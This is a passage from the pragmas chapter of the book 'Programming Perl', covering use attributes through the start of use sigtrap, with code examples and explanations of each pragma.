    no strict 'refs';       # allow symbolic references
    no integer;             # resume floating-point arithmetic
    # ....
}
More so than the other modules Perl ships with, the pragmas form an integral and essential part of the Perl compilation environment. It's hard to use the compiler well if you don't know how to pass hints to it, so we'll put some extra effort into describing pragmas.

Another thing to be aware of is that we often use pragmas to prototype features that later get encoded into "real" syntax. So in some programs you'll see deprecated pragmas like use attrs whose functionality is now supported directly by subroutine declaration syntax. Similarly, use vars is in the process of being replaced by our declarations. And use subs may someday be replaced by an override attribute on ordinary subroutine declarations. We're not in a terrible hurry to break the old ways of doing things, but we do think the new ways are prettier.

31.1. use attributes

sub afunc : method;
my $closure = sub : method { ... };

use attributes;
@attrlist = attributes::get(\&afunc);

The attributes pragma has two purposes. The first is to provide an internal mechanism for declaring attribute lists, which are optional properties associated with subroutine declarations and (someday soon) variable declarations. (Since it's an internal mechanism, you don't generally use this pragma directly.) The second purpose is to provide a way to retrieve those attribute lists at run time using the attributes::get function call. In this capacity, attributes is just a standard module, not a pragma.

Only a few built-in attributes are currently handled by Perl. Package-specific attributes are allowed by an experimental extension mechanism described in the section "Package-specific Attribute Handling" of the attributes(3) manpage.

Attribute setting occurs at compile time; attempting to set an unrecognized attribute is a compilation error. (The error is trappable by eval, but it still stops the compilation within that eval block.)

Only three built-in attributes for subroutines are currently implemented: locked, method, and lvalue. See Chapter 6, "Subroutines", and Chapter 17, "Threads", for further discussion of these. There are currently no built-in attributes for variables as there are for subroutines, but we can think of several we might like, such as constant.

The attributes pragma provides two subroutines for general use. They may be imported if you ask for them.

get

This function returns a (possibly empty) list of attributes given a single input parameter that's a reference to a subroutine or variable. The function raises an exception by invoking Carp::croak if passed invalid arguments.

reftype

This function acts somewhat like the built-in ref function, but it always returns the underlying, built-in Perl data type of the referenced value, ignoring any package into which it might have been blessed.

Precise details of attribute handling remain in flux, so you'd best check out the online documentation included with your Perl release to see what state it's all in.

Previous | Home | Next
30.2. A Tour of the Perl Library | Book Index | 31.2. use autouse
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use autouse (Programming Perl)

 Book Home Programming PerlSearch this book

31.2. use autouse

use autouse 'Carp' => qw(carp croak);
carp "this carp was predeclared and autoused";

This pragma provides a mechanism for run-time demand loading of a particular module only when a function from that module really gets called. It does this by providing a stub function that replaces itself with the real call once triggered. This is similar in spirit to the way the standard AutoLoader and SelfLoader modules behave. In short, it's a performance hack to help make your Perl program start up faster (on average) by avoiding compilation of modules that might never ever be called during a given execution run.

How autouse behaves depends on whether the module is already loaded. For example, if the module Module is already loaded, then the declaration:

use autouse 'Module' => qw(func1 func2($;$) Module::func3);
is equivalent to the simple import of two functions:
use Module qw(func1 func2);
This assumes that Module defines func2() with prototype ($;$), and that func1() and func3() have no prototypes. (More generally, this also assumes that Module uses Exporter's standard import method; otherwise, a fatal error is raised.) In any event, it completely ignores Module::func3 since that is presumably already declared.

If, on the other hand, Module has not yet been loaded when the autouse pragma is parsed, the pragma declares functions func1 and func2 to be in the current package. It also declares a function Module::func3 (which could be construed as mildly antisocial, were it not for the fact that the nonexistence of the Module module has even more antisocial consequences). When these functions are called, they make sure the Module in question is loaded and then replace themselves with calls to the real functions just loaded.

Because the autouse pragma moves portions of your program's execution from compile time to run time, this can have unpleasant ramifications. For example, if the module you autouse has some initialization that is expected to be done early, this may not happen early enough. Autousing can also hide bugs in your code when important checks are moved from compile time to run time.

In particular, if the prototype you've specified on autouse line is wrong, you will not find out about it until the corresponding function is executed (which may be months or years later, for a rarely called function). To partially alleviate this problem, you could write your code like this during code development:

use Chase;
use autouse Chase => qw(hue($) cry(&$));
cry "this cry was predeclared and autoused";
The first line ensures that errors in your argument specification will be found early. When your program graduates from development into production mode, you can comment out the regular loading of the Chase module and leave just the autousing call in place. That way you get safety during development and performance during production.

Previous | Home | Next
31.1. use attributes | Book Index | 31.3. use base
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use base (Programming Perl)

 Book Home Programming PerlSearch this book

31.3. use base

use base qw(Mother Father);

This pragma lets a programmer conveniently declare a derived class based upon the listed parent classes. The declaration above is roughly equivalent to:

BEGIN {
    require Mother;
    require Father;
    push @ISA, qw(Mother Father);
}
The use base pragma takes care of any require needed. When the strict 'vars' pragma is in scope, use base lets you (in effect) assign to @ISA without first having to declare our @ISA. (Since the use base pragma happens at compile time, it's best to avoid diddling @ISA on your own at run time.)

But beyond this, use base has another property. If any named base class makes use of the fields facility described under use fields later in this chapter, then the pragma initializes the package's special field attributes from the base class. (Multiple inheritance of field classes is not supported. The use base pragma raises an exception if more than one named base class has fields.)

Any base class not yet loaded will be loaded automatically via require. However, whether to require a base class package is determined not by the customary inspection of %INC, but by the absence of a global $VERSION in the base package. This hack keeps Perl from repeatedly trying (and failing) to load a base class that isn't in its own requirable file (because, for example, it's loaded as part of some other module's file). If $VERSION is not detected after successfully loading a file, use base will define $VERSION in the base package, setting it to the string "-1, defined by base.pm".

Previous | Home | Next
31.2. use autouse | Book Index | 31.4. use blib
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use blib (Programming Perl)

 Book Home Programming PerlSearch this book

31.4. use blib

From the command line:

% perl -Mblib program [args...]
% perl -Mblib=DIR program [args...]
From your Perl program:
use blib;
use blib 'DIR';
This pragma is intended primarily as a way of testing arbitrary Perl programs against an uninstalled version of a package through Perl's -M command-line switch. It assumes your directory structure was produced by the standard ExtUtils::MakeMaker module.

The pragma looks for a blib directory structure starting in the directory named DIR (or current directory if none was specified), and if it doesn't find a blib directory there, works its way back up through your ".." directories, scanning up to five levels of parent directory.

Previous | Home | Next
31.3. use base | Book Index | 31.5. use bytes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use bytes (Programming Perl)

 Programming PerlSearch this book

31.5. use bytes

use bytes;
no bytes;

The use bytes pragma disables character semantics for the rest of the lexical scope in which it appears. The no bytes pragma can be used to reverse the effect of use bytes within the current lexical scope.

Perl normally assumes character semantics in the presence of character data (that is, data from a source marked as being of a particular character encoding).

To understand the implications and differences between character semantics and byte semantics, see Chapter 15, "Unicode". A visit to Tokyo might also help.

Previous | Home | Next
31.4. use blib | Book Index | 31.6. use charnames
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use charnames (Programming Perl)

 Book Home Programming PerlSearch this book

31.6. use charnames

use charnames HOW;
print "\N{CHARSPEC} is a funny character";

This lexically scoped pragma enables named characters to be interpolated into strings using the \N{CHARSPEC} notation:

use charnames ':full';
print "\N{GREEK SMALL LETTER SIGMA} is called sigma.\n";

use charnames ':short';
print "\N{greek:Sigma} is an upper-case sigma.\n";

use charnames qw(cyrillic greek);
print "\N{sigma} is Greek sigma, and \N{be} is Cyrillic b.\n";
The pragma supports HOW arguments :full and :short, as well as specific script names.[1] The HOW argument determines how the character specified by the CHARSPEC in \N{CHARSPEC}} is to be searched for. If :full is present, the CHARSPEC is first looked for in the Unicode character tables as a complete Unicode character name. If :short is present and CHARSPEC has the form SCRIPTNAME:CHARNAME, CHARNAME is looked for as a letter in script SCRIPTNAME. If HOW contains specific script names, CHARSPEC is looked for as an individual CHARNAME in each of the given scripts, in the specified order.

[1] By which we don't mean Perl scripts. We mean "script" as in some particular style of written letters, like Roman or Greek or Cyrillic. Unfortunately, "script" is the technical term for that, and we're not likely to persuade the Unicode Consortium to use a different term.

For lookup of CHARNAME inside a given script SCRIPTNAME, the pragma looks in the table of standard Unicode names for patterns of the form:

SCRIPTNAME CAPITAL LETTER CHARNAME
SCRIPTNAME SMALL LETTER CHARNAME
SCRIPTNAME LETTER CHARNAME
If CHARNAME is entirely lowercase (as in \N{sigma}), the CAPITAL variant is ignored. Otherwise, the SMALL variant is ignored.

You can write your own module that works like the charnames pragma but defines character names differently. However, the interface to that is still experimental, so see the manpage for the latest.

Previous | Home | Next
31.5. use bytes | Book Index | 31.7. use constant
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use constant (Programming Perl)

 Book Home Programming PerlSearch this book

31.7. use constant

use constant BUFFER_SIZE    => 4096;
use constant ONE_YEAR       => 365.2425 * 24 * 60 * 60;
use constant PI             => 4 * atan2 1, 1;
use constant DEBUGGING      => 0;
use constant ORACLE         => 'oracle@cs.indiana.edu';
use constant USERNAME       => scalar getpwuid($<);
use constant USERINFO       => getpwuid($<);

sub deg2rad { PI * $_[0] / 180 }

print "This line does nothing"      unless DEBUGGING;

# references can be declared constant
use constant CHASH          => { foo => 42 };
use constant CARRAY         => [ 1,2,3,4 ];
use constant CPSEUDOHASH    => [ { foo => 1}, 42 ];
use constant CCODE          => sub { "bite $_[0]\n" };

print CHASH->{foo};
print CARRAY->[$i];
print CPSEUDOHASH->{foo};
print CCODE->("me");
print CHASH->[10];                          # compile-time error

This pragma declares the named symbol to be an immutable constant[2] with the given scalar or list value. You must make a separate declaration for each symbol. Values are evaluated in list context. You may override this with scalar as we did above.

[2] Implemented as a subroutine taking no arguments and returning the same constant each time.

Since these constants don't have a $ on the front, you can't interpolate them directly into double-quotish strings, although you may do so indirectly:

print "The value of PI is @{[ PI ]}.\n";
Because list constants are returned as lists, not as arrays, you must subscript a list-valued constant using extra parentheses as you would any other list expression:
$homedir = USERINFO[7];             # WRONG
$homedir = (USERINFO)[7];           # ok
Although using all capital letters for constants is recommended to help them stand out and to help avoid potential collisions with other keywords and subroutine names, this is merely a convention. Constant names must begin with a letter, but it need not be a capital one.

Constants are not private to the lexical scope in which they occur. Instead, they are simply argumentless subroutines in the symbol table of the package issuing the declaration. You may refer to a constant CONST from package Other as Other::CONST. Read more about compile-time inlining of such subroutines in the section "Inlining Constant Functions" in Chapter 6, "Subroutines".

As with all use directives, use constant happens at compile time. It's therefore misleading at best to place a constant declaration inside a conditional statement, such as if ($foo) { use constant ... }.

Omitting the value for a symbol gives it the value of undef in scalar context or the empty list, (), in a list context. But it is probably best to declare these explicitly:

use constant CAMELIDS       => ();
use constant CAMEL_HOME     => undef;

31.7.1. Restrictions on use constant

List constants are not currently inlined the way scalar constants are. And it is not possible to have a subroutine or keyword with the same name as a constant. This is probably a Good Thing.

You cannot declare more than one named constant at a time:

use constant FOO => 4, BAR => 5;    # WRONG
That defines a constant named FOO whose return list is (4, "BAR", 5). You need this instead:
use constant FOO => 4
use constant BAR => 5;
You can get yourself into trouble if you use a constant in a context that automatically quotes bare names. (This is true for any subroutine call, not just constants.) For example, you can't say $hash{CONSTANT} because CONSTANT will be interpreted as a string. Use $hash{CONSTANT()} or $hash{+CONSTANT} to prevent the quoting mechanism from kicking in. Similarly, since the => operator quotes its left operand if that operand is a bare name, you must say CONSTANT() => 'value' instead of CONSTANT => 'value' .

At some point, you'll be able to use a constant attribute on variable declarations:

my $PI : constant = 4 * atan2(1,1);
This has all the advantages of being a variable rather than a subroutine. It has all the disadvantages of not being implemented yet.

Previous | Home | Next
31.6. use charnames | Book Index | 31.8. use diagnostics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use diagnostics (Programming Perl)

 Book Home Programming PerlSearch this book

31.8. use diagnostics

use diagnostics;            # compile-time enable
use diagnostics -verbose;

enable  diagnostics;        # run-time enable
disable diagnostics;        # run-time disable

This pragma expands the normal, terse diagnostics and suppresses duplicate warnings. It augments the short versions with the more explicative and endearing descriptions found in Chapter 33, "Diagnostic Messages". Like other pragmas, it also affects the compilation phase of your program, not just the run phase.

When you use diagnostics at the start of your program, this automatically enables Perl's -w command-line switch by setting $^W to 1. The remainder of your whole compilation will then be subject to enhanced diagnostics. These still go out on STDERR.

Because of the interaction between run-time and compile-time issues, and because it's probably not a good idea anyway, you may not use no diagnostics to turn them off at compile time. However, you may control their behavior at run time using the disable and enable methods. (Make sure you do the use first, or else you won't be able to get at the methods.)

The -verbose flag first prints out the perldiag manpage's introduction before any other diagnostics are issued. The $diagnostics::PRETTY variable can be set (before the use) to generate nicer escape sequences for pagers like less(1) or more(1):

BEGIN { $diagnostics::PRETTY = 1 }
use diagnostics;
Warnings dispatched from Perl and detected by this pragma are each displayed only once. This is useful when you're caught in a loop that's generating the same warning (like uninitialized value) over and over again. Manually generated warnings, such as those stemming from calls to warn or carp, are unaffected by this duplicate detection mechanism.

Here are some examples of using the diagnostics pragma. The following file is certain to trigger a few errors at both run time and compile time:

use diagnostics;
print NOWHERE "nothing\n";
print STDERR "\n\tThis message should be unadorned.\n";
warn "\tThis is a user warning";
print "\nDIAGNOSTIC TESTER: Please enter a <CR> here: ";
my $a, $b = scalar <STDIN>;
print "\n";
print $x/$y;
Here's the output:
Parentheses missing around "my" list at diagtest line 6 (#1)

    (W parenthesis) You said something like

        my $foo, $bar = @_;

    when you meant

        my ($foo, $bar) = @_;

Remember that "my", "our", and "local" bind tighter than comma.

Name "main::NOWHERE" used only once: possible typo at diagtest line 2 (#2)

(W once) Typographical errors often show up as unique variable
    names.  If you had a good reason for having a unique name,
    then just mention it again somehow to suppress the message.
    The our declaration is provided for this purpose.

Name "main::b" used only once: possible typo at diagtest line 6 (#2)
Name "main::x" used only once: possible typo at diagtest line 8 (#2)
Name "main::y" used only once: possible typo at diagtest line 8 (#2)

Filehandle main::NOWHERE never opened at diagtest line 2 (#3)

(W unopened) An I/O operation was attempted on a filehandle that
    was never initialized.  You need to do an open() or a socket()
    call, or call a constructor from the FileHandle package.

        This message should be unadorned.
        This is a user warning at diagtest line 4.

DIAGNOSTIC TESTER: Please enter a <CR> here:
Use of uninitialized value in division (/) at diagtest line 8 (#4)

(W uninitialized) An undefined value was used as if it were
    already defined.  It was interpreted as a "" or a 0, but maybe
    it was a mistake.  To suppress this warning assign a defined
    value to your variables.

Illegal division by zero at diagtest line 8 (#5)

(F) You tried to divide a number by 0.  Either something was
    wrong in your logic, or you need to put a conditional in to
    guard against meaningless input.

Uncaught exception from user code:
        Illegal division by zero at diagtest line 8.

Diagnostic messages derive from the perldiag.pod file. If an extant $SIG{__WARN__} handler is discovered, this will still be honored, but only after the diagnostics::splainthis function (the pragma's $SIG{__WARN__} interceptor) has had its way with your warnings. Perl does not currently support stacked handlers, so this is the best we can do for now. There is a $diagnostics::DEBUG variable you may set if you're desperately curious about what sorts of things are being intercepted:

BEGIN { $diagnostics::DEBUG = 1 }
use diagnostics;

Previous | Home | Next
31.7. use constant | Book Index | 31.9. use fields
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use fields (Programming Perl)

 Book Home Programming PerlSearch this book

31.9. use fields

In the Pet module:

package Pet;
use strict;
use fields qw(name weight _Pet_pid);
my $PID = 0;
sub new {
    my Pet $self = shift;
    unless (ref $self) {
        $self = fields::new($self);
        $self->{_Pet_pid} = "this is Pet's secret ID";
    }
    $self->{name} = "Hey, you!";
    $self->{weight} = 20;
    return $self;
}
1;
In a separate program, demopet:
use Pet;
my Pet $rock = new Pet;           # typed lexical

$rock->{name}     = "quartz";
$rock->{weight}   = "2kg";
$rock->{_Pet_pid} = 1233;         # private attribute

$rock->{color}    = "blue";       # generates compile-time error
In the Dog module:
package Dog;
use strict;
use base 'Pet';                   # inherit fields and methods from Pet
use fields qw(name pedigree);     # override Pet name attribute,
                                  # add new pedigree attribute
use fields qw(wag _Dog_private);  # not shared with Pet
sub new {
    my $class = shift;
    my $self = fields::new($class);
    $self->SUPER::new();          # init base fields
    $self->{pedigree} = "none";   # init own fields
    return $self;
}
In a separate program, demodog:
use Dog;

my Dog $spot = new Dog;           # typed lexical

$spot->{name}     = "Theloneus";  # not inherited
$spot->{weight}   = "30lbs";      # inherited
$spot->{pedigree} = "mutt";       # not inherited

$spot->{color}    = "brown";      # generates compile-time error
$spot->{_Pet_pid} = 3324;         # generates compile-time error

The fields pragma provides a method of declaring class fields that can be type checked at compile time. This relies on a feature known as pseudohashes: if a typed lexical variable (my Pet $rock) is holding a reference (the Pet object) and is used to access a hash element ($rock->{name}), and if there exists a package with the same name as the declared type that has set up class fields using the fields pragma, then the operation is turned into an array access at compile time, provided the field specified is valid.

The related base pragma will combine fields from base classes and any fields declared using the fields pragma. This enables field inheritance to work properly.

Field names that start with an underscore character are made private to the class and are not visible to subclasses. Inherited fields can be overridden but will generate a warning if warnings are enabled.

The effect of all this is that you can have objects with named fields which are as compact as arrays and as fast to access. This only works as long as the objects are accessed through properly typed lexical variables, though. If the variables are not typed, access is only checked at run time, so your program runs slower because it has to do both a hash access and an array access. In addition to field declarations, the following functions are supported:

new

The fields::new function creates and blesses a pseudohash into the specified class (which may also be specified by passing an object of that class). The object is created with the fields declared earlier for that class using the fields pragma. This makes it possible to write a constructor like this:

package Critter::Sounds;
use fields qw(cat dog bird);

sub new {
    my Critter::Sounds $self = shift;
    $self = fields::new($self) unless ref $self;
    $self->{cat} = 'meow';                          # scalar element
    @$self{'dog','bird'} = ('bark','tweet');        # slice
    return $self;
}

phash

The fields::phash function creates and initializes a plain (unblessed) pseudohash. You should always use this function to create pseudohashes instead of creating them directly, in case we decide to change the implementation.

If the first argument to phash is a reference to an array, the pseudohash will be created with keys from that array. If a second argument is supplied, it must also be a reference to an array whose elements will be used as the values. If the second array contains less elements than the first, the trailing elements of the pseudohash will not be initialized. This makes it particularly useful for creating a pseudohash from subroutine arguments:

sub dogtag {
    my $tag = fields::phash([qw(name rank ser_num)], [@_]);
}
Alternatively, you can pass a list key/value pairs that will be used to construct the pseudohash:
my $tag = fields::phash(name => "Joe",
                        rank => "captain",
                        ser_num => 42);

my $pseudohash = fields::phash(%args);
For more on pseudohashes, see the section "Pseudohashes" in Chapter 8, "References".

The current implementation keeps the declared fields in the %FIELDS hash of the calling package, but this may change in future versions, so it's best to rely on this pragma's interface to manage your fields.

Previous | Home | Next
31.8. use diagnostics | Book Index | 31.10. use filetest
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use filetest (Programming Perl)

 Programming PerlSearch this book

31.10. use filetest

$can_perhaps_read = -r "file";      # use the mode bits
{
    use filetest 'access';          # intuit harder
    $can_really_read = -r "file";
}
$can_perhaps_read = -r "file";      # use the mode bits again

This lexically scoped pragma tells the compiler to change the behavior of the unary file test operators -r, -w, -x, -R, -W, and -X, documented in Chapter 3, "Unary and Binary Operators". The default behavior for these file tests is to use the mode bits returned by the stat family of calls. However, this may not always be the right thing to do, such as when a filesystem understands ACLs (access control lists). In environments such as AFS where this matters, the use filetest pragma may help the permission operators to return results more consistent with other tools.

There may be a slight performance decrease in the affected file test operators under use filetest, since on some systems the extended functionality needs to be emulated.

Warning: any notion of using file tests for security purposes is a lost cause from the start. There is a window open for race conditions, because there's no way to guarantee that the permissions will not change between the test and the real operation. If you are the least bit serious about security, you won't use file test operators to decide whether something will work. Instead, just go ahead try the real operation, then test for whether that operation succeeded. (You should be doing that anyway.) See the section "Handling Timing Glitches" in Chapter 23, "Security".

31.10.1. use filetest 'access'

Currently only one import, access, is implemented. Calling use filetext 'access' enables the use of access(2) or similar syscalls when performing file tests, and no filetest 'access' similarly disables it. This extended file test functionality is used only when the operator's operand (or, if you prefer, the unary function's argument) is a real filename, not when it is a filehandle.

Previous | Home | Next
31.9. use fields | Book Index | 31.11. use integer
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use integer (Programming Perl)

 Book Home Programming PerlSearch this book

31.11. use integer

use integer;
$x = 10/3;
# $x is now 3, not 3.33333333333333333

This lexically scoped pragma tells the compiler to use integer operations from here through the end of the enclosing block. On many machines, this doesn't matter a great deal for most computations, but on those few remaining architectures without floating-point hardware, it can amount to a dramatic performance difference.

Note that this pragma affects certain numeric operations, not the numbers themselves. For example, if you run this code:

use integer;
$x = 1.8;
$y = $x + 1;
$z = -1.8;
you'll be left with $x == 1.8, $y == 2 and $z == -1. The $z case happens because unary - counts as an operation, so the value 1.8 is truncated to 1 before its sign bit is flipped. Likewise, functions that expect floating-point numbers, such as sqrt or the trig functions, still receive and return floats even under use integer. So sqrt(1.44) is 1.2, but 0 + sqrt(1.44) is now just 1.

Native integer arithmetic as provided by your C compiler is used. This means that Perl's own semantics for arithmetic operations might not be preserved. One common source of trouble is the modulus of negative numbers. Perl may do it one way, but your hardware may do it another:

% perl -le 'print (4 % -3)'
-2
% perl -Minteger -le 'print (4 % -3)'
1

Previous | Home | Next
31.10. use filetest | Book Index | 31.12. use less
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use less (Programming Perl)

 Programming PerlSearch this book

31.12. use less

use less;               # These are all UNIMPLEMENTED!

use less 'CPU';
use less 'memory';
use less 'time';
use less 'disk';
use less 'fat';         # great with "use locale";

Currently unimplemented, this pragma is intended to someday give hints to the compiler, code-generator, or interpreter to enable certain trade-offs.

It is not an error to ask to use less of something that Perl doesn't know how to make less of right now.

Previous | Home | Next
31.11. use integer | Book Index | 31.13. use lib
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use lib (Programming Perl)

 Book Home Programming PerlSearch this book

31.13. use lib

use lib "$ENV{HOME}/libperl";   # add ~/libperl
no lib ".";                     # remove cwd

This pragma simplifies the manipulation of @INC at compile time. It is typically used to add extra directories to Perl's search path so that later do, require, and use statements will find library files that aren't located in Perl's default search path. It's especially important with use, since that happens at compile time too, and setting @INC normally (that is, at run time) would be too late.

Parameters to use lib are prepended to the beginning of Perl's search path. Saying use lib LIST is almost the same as saying BEGIN { unshift(@INC,LIST) }, but use lib LIST includes support for platform-specific directories. For each given directory $dir in its argument list, the lib pragma also checks to see whether a directory named $dir/$archname/auto exists. If so, the $dir/$archname directory is assumed to be a corresponding platform-specific directory, so is added to @INC (in front of $dir).

To avoid redundant additions that slow access time and waste a small amount of memory, trailing duplicate entries in @INC are removed when entries are added.

Normally, you should only add directories to @INC. If you do need to delete directories from @INC, take care to delete only those that you yourself added, or those that you're somehow certain aren't needed by other modules in your program. Other modules may have added directories to your @INC that they need for correct operation.

The no lib pragma deletes all instances of each named directory from @INC. It also deletes any corresponding platform-specific directory as described earlier.

When the lib pragma is loaded, it saves the current value of @INC to the array @lib::ORIG_INC, so to restore the original, just copy that array to the real @INC.

Even though @INC typically includes dot ("."), the current directory, this really isn't as useful as you'd think. For one thing, the dot entry comes at the end, not the start, so that modules installed in the current directory don't suddenly override system versions. You could say use lib "." if that's what you really want. More annoyingly, it's the current directory of the Perl process, not the directory that the script was installed into, which makes it completely unreliable. If you create a program plus some modules for that program to use, it will work while you're developing, but it won't work when you aren't running in the directory the files live in.

One solution for this is to use the standard FindBin module:

use FindBin;                # where was script installed?
use lib $FindBin::Bin;      # use that dir for libs, too
The FindBin module tries to guess the full path to the directory in which the running process's program was installed. Don't use this for security purposes, because malicious programs can usually deceive it if they try hard enough. But unless you're intentionally trying to break the module, it should work as intended. The module provides a $FindBin::Bin variable (which you may import) that contains the module's guess of where the program was installed. You can then use the lib pragma to add that directory to your @INC, thus producing an executable-relative path.

Some programs expect to be installed in a bin directory and then find their library modules in "cousin" files installed in a lib directory at the same level as bin. For example, programs might go in /usr/local/apache/bin or /opt/perl/bin, and libraries go in /usr/local/apache/lib and /opt/perl/lib. This code takes care of that neatly:

use FindBin qw($Bin);
use lib "$Bin/../lib";
If you find yourself specifying the same use lib in several unrelated programs, you might consider setting the PERL5LIB environment variable instead. See the description of the PERL5LIB environment variable in Chapter 19, "The Command-Line Interface".
# syntax for sh, bash, ksh, or zsh
$ PERL5LIB=$HOME/perllib; export PERL5LIB

# syntax for csh or tcsh
% setenv PERL5LIB ~/perllib
If you want to use optional directories on just this program without changing its source, look into the -I command-line switch:
% perl -I ~/perllib program-path args
See the Chapter 19, "The Command-Line Interface" for more about using -I from the command line.

Previous | Home | Next
31.12. use less | Book Index | 31.14. use locale
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use locale (Programming Perl)

 Programming PerlSearch this book

31.14. use locale

@x = sort @y;       # ASCII sorting order
{
    use locale;
    @x = sort @y;   # Locale-defined sorting order
}
@x = sort @y;       # ASCII sorting order again

This lexically scoped pragma tells the compiler to enable (or disable, under no locale) the use of POSIX locales for built-in operations. Enabling locales tells Perl's case-conversion functions and pattern-matching engine to be respectful of your language environment, allowing for characters with diacritical markings, etc. If this pragma is in effect and your C library knows about POSIX locales, Perl looks to your LC_CTYPE setting for regular expressions and to your LC_COLLATE setting for string comparisons like those in sort.

Since locales are more a form of nationalization than of internationalization, the use of locales may interact oddly with Unicode. See Chapter 15, "Unicode" for more on internationalization.

Previous | Home | Next
31.13. use lib | Book Index | 31.15. use open
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use open (Programming Perl)

 Book Home Programming PerlSearch this book

31.15. use open

use open IN => ":crlf", OUT => ":raw";

The open pragma declares one or more default disciplines for I/O operations. Any open and readpipe (that is, qx// or backticks) operators found within the lexical scope of this pragma that do not specify their own disciplines will use the declared defaults. Neither open with an explicit set of disciplines, nor sysopen under any cirumstances, is influenced by this pragma.

Only the two disciplines :raw and :crlf are currently available (though as of this writing we expect a :utf8 discipline to be along shortly). On legacy systems that distinguish between those two translation modes when opening files, the :raw discipline corresponds to "binary mode", and :crlf to "text mode". (These two disciplines are currently no-ops on platforms where binmode is a no-op, but only for now; see the open function in Chapter 29, "Functions", for a longer description of the semantics we expect of various disciplines.)

Full-fledged support for I/O disciplines is currently unimplemented. When they are eventually supported, this pragma will serve as one of the interfaces to declare default disciplines for all I/O. At that time, any default disciplines declared by this pragma will be available by the special discipline name ":DEFAULT" and usable within handle constructors that allow disciplines to be specified. This will make it possible to stack new disciplines over the default ones.

open (FH, "<:para :DEFAULT", $file) or die "can't open $file: $!";
Once complete, full support for I/O disciplines will enable all supported disciplines to work on all platforms.

Previous | Home | Next
31.14. use locale | Book Index | 31.16. use overload
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use overload (Programming Perl)

 Book Home Programming PerlSearch this book

31.16. use overload

In the Number module:

package Number;
use overload "+" => \&myadd,
             "-" => \&mysub,
            "*=" => "multiply_by";
In your program:
use Number;
$a = new Number 57;
$b = $a + 5;
The built-in operators work well on strings and numbers, but make little sense when applied to object references (since, unlike C or C++, Perl doesn't allow pointer arithmetic). The overload pragma lets you redefine the meanings of these built-in operations when applied to objects of your own design. In the previous example, the call to the pragma redefines three operations on Number objects: addition will call the Number::myadd function, subtraction will call the Number::mysub function, and the multiplicative assignment operator will call the multiply_by method in class Number (or one of its base classes). We say of these operators that they are now overloaded because they have additional meanings overlaid on them (and not because they have too many meanings--though that may also be the case).

For much more on overloading, see Chapter 13, "Overloading".

Previous | Home | Next
31.15. use open | Book Index | 31.17. use re
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use re (Programming Perl)

 Book Home Programming PerlSearch this book

31.17. use re

This pragma controls the use of regular expressions. It has four possible invocations: "taint" and "eval", which are lexically scoped, plus "debug" and "debugcolor", which aren't.

use re 'taint';
# Contents of $match are tainted if $dirty was also tainted.
($match) = ($dirty =~ /^(.*)$/s);

# Allow code interpolation:
use re 'eval';
$pat = '(?{ $var = 1 })';      # embedded code execution
/alpha${pat}omega/;            # won't fail unless under -T
                               # and $pat is tainted

use re 'debug';                # like "perl -Dr"
/^(.*)$/s;                     # output debugging info during
                               #     compile time and run time

use re 'debugcolor';           # same as 'debug',
                               #    but with colored output
When use re 'taint' is in effect and a tainted string is the target of a regex, the numbered regex variables and values returned by the m// operator in list context are all tainted. This is useful when regex operations on tainted data aren't meant to extract safe substrings, but to perform other transformations. See the discussion on tainting in Chapter 23, "Security".

When use re 'eval' is in effect, a regex is allowed to contain assertions that execute Perl code, which are of the form (?{ ... }), even when the regex contains interpolated variables. Execution of code segments resulting from variable interpolation into a regex is normally disallowed for security reasons: you don't want programs that read patterns from config files, command-line arguments, or CGI form fields to suddenly start executing arbitrary code if they weren't designed to expect this possibility. This use of the pragma allows only untainted strings to be interpolated; tainted data will still cause an exception to be raised (if you're running with taint checks enabled). See also Chapter 5, "Pattern Matching", and Chapter 23, "Security".

For the purposes of this pragma, interpolation of precompiled regular expressions (produced by the qr// operator) is not considered variable interpolation. Nevertheless, when you build the qr// pattern it needs to have use re 'eval' in effect if any of its interpolated strings contain code assertions. For example:

$code = '(?{ $n++ })';      # code assertion
$str  = '\b\w+\b' . $code;  # build string to interpolate

$line =~ /$str/;    # this needs use re 'eval'

$pat = qr/$str/;    # this also needs use re 'eval'
$line =~ /$pat/;    # but this doesn't need use re 'eval'
Under use re 'debug', Perl emits debugging messages when compiling and when executing regular expressions. The output is the same as that obtained by running a "debugging Perl" (one compiled with -DDEBUGGING passed to the C compiler) and then executing your Perl program under Perl's -Dr command-line switch. Depending on how complicated your pattern is, the resulting output can be overwhelming. Calling use re 'debugcolor' enables more colorful output that can be useful, provided your terminal understands color sequences. Set your PERL_RE_TC environment variable to a comma-separated list of relevant termcap(5) properties for highlighting. For more details, see Chapter 20, "The Perl Debugger".

Previous | Home | Next
31.16. use overload | Book Index | 31.18. use sigtrap
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


use sigtrap (Programming Perl)

 Book Home Programming PerlSearch this book

31.18. use sigtrap

use sigtrap;
use sigtrap qw(stack-trace old-interface-signals);  # same thing

use sigtrap qw(BUS SEGV PIPE ABRT);
use sigtrap qw(die INT QUIT);
use sigtrap qw(die normal-signals);
use sigtrap qw(die untrapped normal-signals);
use sigtrap qw(die untrapped normal-signals
                stack-trace any error-signals);

use sigtrap 'handler' => \&my_handler, 'normal-signals';
use sigtrap qw(handler my_handler normal-signals stack-trace error-signals);

The sigtrap pragma installs some simple signal handlers on your behalf so that you don't have to worry about them. This is useful in situations where an untrapped signal would cause your program to misbehave, like when you have END {} blocks, object destructors, or other at-exit processing that needs to be run no matter how your program happens to terminate.

